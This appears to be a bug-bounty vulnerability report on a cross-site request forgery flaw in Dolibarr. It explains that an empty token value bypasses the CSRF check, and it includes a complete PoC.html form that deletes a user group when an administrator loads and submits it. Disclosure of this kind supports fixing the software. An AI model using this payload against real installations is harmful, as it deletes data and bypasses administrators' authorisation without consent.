Cross-Site Request Forgery (CSRF) in dolibarr/dolibarr

Valid

Reported on

Jul 18th 2021

✍️ Description

Attacker can Delete each Group with CSRF vulnerability when the Admin or SuperAdmin click on PoC.html file, it is enough to attacker know the Group id on server that start from 1.

For bypass your CSRF token, I just delete token parameter value and set in nothings as you can see in "<input type="hidden" name="token" value="" />"

🕵️‍♂️ Proof of Concept

// PoC.html


<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.75.10/user/group/card.php">
<input type="hidden" name="id" value="4" />
<input type="hidden" name="action" value="confirm&#95;delete" />
<input type="hidden" name="confirm" value="yes" />
<input type="hidden" name="token" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>